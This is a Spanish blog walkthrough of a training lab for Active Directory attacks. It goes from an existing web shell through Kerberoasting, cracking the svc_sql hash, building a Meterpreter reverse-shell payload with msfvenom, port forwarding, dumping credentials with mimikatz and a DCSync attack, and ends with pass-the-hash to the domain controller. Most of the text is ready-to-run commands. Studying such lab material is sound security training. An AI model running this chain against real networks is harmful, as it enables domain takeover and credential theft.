Laboratorio de Enumeración y ataques de AD - Parte 1

Jul 28, 2025 · 6 mins read

Enunciado

Un miembro del equipo inició una prueba de penetración externa y fue transferido a otro proyecto urgente antes de terminarla. Tras realizar un reconocimiento del servidor web externo, logró encontrar y explotar una vulnerabilidad de carga de archivos. Antes de cambiar de proyecto, nuestro compañero dejó un shell web protegido con contraseña (con las credenciales: admin:My_W3bsH3ll_P@ssw0rd!) en el /uploadsdirectorio para que pudiéramos empezar desde él. Como parte de esta evaluación, nuestro cliente, Inlanefreight, nos autorizó a evaluar nuestra capacidad de penetración y está interesado en determinar qué tipos de problemas de alto riesgo existen en el entorno de Active Directory. Aprovechar el shell web para establecerse inicialmente en la red interna. Analizar el entorno de Active Directory en busca de fallos y configuraciones incorrectas para avanzar lateralmente y, en última instancia, comprometer el dominio.

Aplique lo aprendido en este módulo para comprometer el dominio y responder las preguntas a continuación para completar la parte I de la evaluación de habilidades.

Reconocimiento

Iniciamos el reconocimiento por la información que nos proporcionan en el guión. Visitamos el servidor web y vemos los siguiente:

Efectivamente desde esta pestaña nos permite subir archivos al servidor. Vamos a ir a la ruta /uploads http://<IP>/uploads/ Seleccionamos la primera y vemos que nos dirige a la webshell que nos hablan al principio. Proporcionamos las credenciales que nos habían brindado. Envíe el contenido del archivo flag.txt al escritorio del administrador del servidor web Y tenemos acceso a la webshell. Vemos que justo encima del Submit en la barra inferiror podemos ejecutar comandos. Vamos a la ruta que nos dicen para obtener nuestra primera flag:

dir C:\Users\Administrator\Desktop\

Y la leemos con el comando:

type C:\Users\Administrator\Desktop\flag.txt

Kerberost crea una cuenta con el SPN MSSQLSvc/SQL01.inlanefreight.local:1433 y envía el nombre de la cuenta como respuesta Vamos a obtener el nombre del Domain Controller:

[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain().FindDomainController().Name

Resolvemos la IP del Domain Controller

Resolve-DnsName DC01.INLANEFREIGHT.LOCAL

Luego de intentar trabajar con herramientas como Powerview, GetUserSPN.py y no tener éxito. Lanzamos el comando integrado de powershell:

setspn -T inlanefreight.local -Q */*

Ver más de SetSPN

Donde aquí vemos algunos de los usuarios válidos vinculados a servicios que corren por el puerto 1433, si nos fijamos nuestra flag estamos buscando MSSQLSvc/SQL01.inlanefreight.local:1433 que aquí nos aparece una cuenta svc_sql asociada a el.

Descifra la contraseña de la cuenta. Envía el valor en texto plano: Vale ya tenemos la cuenta que es svc_sql ahora vamos a aplicar kerberoasting para obtener su contraseña, para esto vamos a utilizar la herramienta Rubeus. Link para descargar Rubeus Luego que lo tenemos en local lo subimos a a webshell. Y ejecutamos el comando:

C:\Rubeus.exe kerberoast /user:svc_sql /nowrap

Al final nos va a a dar un hash el cual vamos a copiar para descifrar en local con hascat o john.

hashcat -m 13100 hash1.txt /usr/share/wordlists/rockyou.txt

Y vemos que nos da de contraseña lucky7.

Envíe el contenido del archivo flag.txt en el escritorio del Administrador en MS01 Confirmamos el objetivo

ping MS01

Comprobamos las credenciales que tenemos contra el siguiente objetivo, mediante SMB:

net use \\MS01\C$ /user:inlanefreight.local\svc_sql lucky7

Nos dan OK

dir \\MS01\C$\Users\Administrator\Desktop

Leemos la flag:

type \\MS01\C$\Users\Administrator\Desktop\flag.txt

Encuentra las credenciales de texto sin cifrar de otro usuario del dominio. Envía el nombre de usuario como respuesta.

Listamos la carpeta de Usuarios de la Máquina MS01

dir \\MS01\C$\Users\

Y vemos ahí los usuarios.

Envíe la contraseña en texto sin cifrar de este usuario. Tenemos las credenciales del usuario svc_sql para acceder a la máquina MS01. Tenemos que el ip de MS01 es 172.16.6.50 Y necesitamos la contraseña del usuario tpetty.

  • Vamos a obtener una shell en la máquina pivote Ejecutamos desde nuestra máquina.
msfvenom -p windows/x64/meterpreter/reverse_https lhost=<IP_máquina_atacante> -f exe -o backupscript.exe LPORT=4444

Subimos el payload para la máquina pivote que nos dan en HTB.

Utilizando metasploit nos ponemos en escucha en nuestra máquina atacante:

msf6 > use exploit/multi/handler 
set LHOST 10.10.15.154
set LPORT 4444
set payload windows/x64/meterpreter/reverse_https
run

Ejecutamos el payload en el pivote. En meterpreter ponemos shell y luego powershell.exe. Para obtener una terminal powershell.

Observamos que MS01 tiene el puerto 3389 abierto.

Test-NetConnection -ComputerName MS01 -Port 3389

Con lo que nos vamos a intentar conectar por ahí. Hacemos portforwarding desde el pivote hacia MS01 para conectarnos desde nuestra máquina atacante.

netsh.exe interface portproxy add v4tov4 listenport=8888 listenaddress=<IP_pivote> connectport=3389 connectaddress=172.16.6.50

Nos conectamos remoto por RDP desde nuestra máquina atacante hacia MS01.

xfreerdp3 /v:<IP_pivote>:8888 /u:"inlanefreight\svc_sql" /p:lucky7 /dynamic-resolution /drive:Shared,/opt/Tools/Windows

Nos copiamos mimikatz.exe de nuestra máquina atacante para MS01. Vamos a la ruta donde copiamos mimikatz.exe y lo abrimos .\mimikatz.exe

Ejecutamos mimikatz para buscar las credenciales almacenadas en la máquina:

privilege::debug
sekurlsa::logonpasswords

¿Qué ataque puede realizar este usuario? Tenemos el usuario tpetty y su contraseña Sup3rS3cur3D0m@inU2eR. Vamos a copiar la herramienta PowerView.ps1 a MS01 Vamos al directorio donde la copiamos desde powershell e importamos el módulo. Consultamos información sobre el usuario tpetty y guardamos el SID

Get-DomainUser -Identity tpetty | select samaccountname,objectsid,memberof,useraccountcontrol |fl

$sid= "S-1-5-21-2270287766-1317258649-2146029398-4607"

Vemos si tiene los permisos para DCSync:

Get-ObjectAcl "DC=inlanefreight,DC=local" -ResolveGUIDs | ? { ($_.ObjectAceType -match 'Replication-Get')} | ?{$_.SecurityIdentifier -match $sid} |select AceQualifier, ObjectDN, ActiveDirectoryRights,SecurityIdentifier,ObjectAceType | fl

Y vemos que sí.

Usamos runas.exe para abrirnos una powershell bajo la cuenta de tpetty, proporcionamos su credencial.

C:\Windows\system32>runas /netonly /user:INLANEFREIGHT\tpetty powershell
Enter the password for INLANEFREIGHT\tpetty:

Vamos y ejecutamos mimikatz.exe

privilege::debug
lsadump::dcsync /domain:INLANEFREIGHT.LOCAL /user:INLANEFREIGHT\administrator

Y efectivamente podemos realizar el ataque DCSync.

admin_hash ->27dedb1dab4d8545c6e1c66fba077da0

Tome el control del dominio y envíe el contenido del archivo flag.txt en el Escritorio del administrador en DC01 Vamos con el DC01, vamos a ubicarlo: Tiene de IP -> 172.16.6.3, luego tenemos el Usuario Administrator y su hash. Vamos a ver los puertos que tiene abiertos para intentar conectarnos.

Test-NetConnection -ComputerName DC01 -Port 3389
Test-NetConnection -ComputerName DC01 -Port 5985

Vemos que el 3389 nos da error pero el 5985 nos da OK. Vamos a hacer un portforwarding hacia ese puerto e intentar acceder desde nuestra máquina atacante. Vamos en nuestra máquina pivote:

portfwd add -l 9999 -p 5985 -r 172.16.6.3

Utilizamos evil-winrm para conectarnos:

evil-winrm -i localhost --port 9999 -u Administrator -H 27dedb1dab4d8545c6e1c66fba077da0

Ya solo nos movemos a la ubicación de la flag y la leemos

Si te sirvió de algo este tutorial ya para mi es más que suficiente, si me puedes decir en que podemos mejorar te lo voy a agradecer un montón.

Escríbeme por cualquiera de las vías